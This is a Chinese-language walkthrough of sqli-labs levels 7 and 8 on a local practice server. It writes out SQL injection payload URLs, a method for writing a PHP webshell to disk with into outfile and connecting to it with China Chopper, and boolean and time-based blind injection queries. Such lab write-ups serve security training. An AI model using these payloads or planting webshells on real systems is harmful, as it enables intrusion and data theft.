知识点:
1.phpstudy文件读写权限的问题:使用show variables like '%secure%';在命令行中查看secure-file-priy当前的值,如果显示NULL,则需要打开phpstudy\MySQL\my.ini文件,在其中加上一句:secure_file_priv="/"
2.一句话木马(配合中国菜刀使用):php版本:'pass']);?>,pass为密码
3.into outfile函数,写文件,用法:select 'mysql is very good' into outfile 'text1.txt';或者是select 'mysql is very good' into outfile "写要保存的路径用\\"
文件位置:MySQL/data
4.load_file()函数,读取本地文件,用法:select load_file('写文件保存的路径')
5.if函数,if(condition,A,B),如果条件condition为true,则执行语句A,否则执行B
例如:select if(1>2,4,5),返回的结果是5(如果在mysql命令中使用,首先要use ×××数据库才可以)
第七关(Less-7):
1.根据提示输入http://127.0.0.1/sqli-labs-master/Less-7/?id=1,由回显结果提示知使用outfile函数
2.判断是否存在SQL注入,输入http://127.0.0.1/sqli-labs-master/Less-7/?id=1',报错,存在SQL注入
3.通过多次判断可知,输入http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) --+,回显结果正确
4.由前几关可知有三列,使用联合查询union select,将一句话木马写入
5.查看保存的文件路径,查看是否写入成功(写入成功)
6.先直接访问b.php,一句话是用php写的,所以不进行显示
7.使用一句话与中国菜刀进行连接,打开中国菜刀右键添加,输入http://127.0.0.1/sqli-labs-master/Less-7/b.php,密码为pass,点击添加
8.打开如图中的地址,即可得到最终结果
第八关(Less-8):
方法一:布尔盲注(一位一位进行猜解)
1.根据提示输入http://127.0.0.1/sqli-labs-master/Less-8/?id=1,出现与之前关卡相同的You are in......
2.判断是否存在SQL注入漏洞,输入http://127.0.0.1/sqli-labs-master/Less-8/?id=1',You are in......消失,说明存在注入漏洞
3.判断可知,输入http://127.0.0.1/sqli-labs-master/Less-8/?id=1'--+,回显正常,说明接下来应该这样儿进行构造
4.判断列数,使用order by
5.将3改为4,出现如图所示结果,说明列数为三列
6.使用left函数判断第一位是否是s,回显正常,说明第一位是s
方法二:时间盲注
1.使用延迟的方法判断是否存在注入漏洞,使用sleep函数,无回显,说明存在注入漏洞
2.使用if函数对当前数据库(security库)的长度进行判断,输入http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and if(length(database())=8,1,sleep(5))--+,length代表长度,当为8时,很快加载并有回显,说明当前数据库的长度为8。否则加载较慢(5s)。由此猜解出当前数据库长度为8
3.猜解当前数据库的每一位与方法一相同 。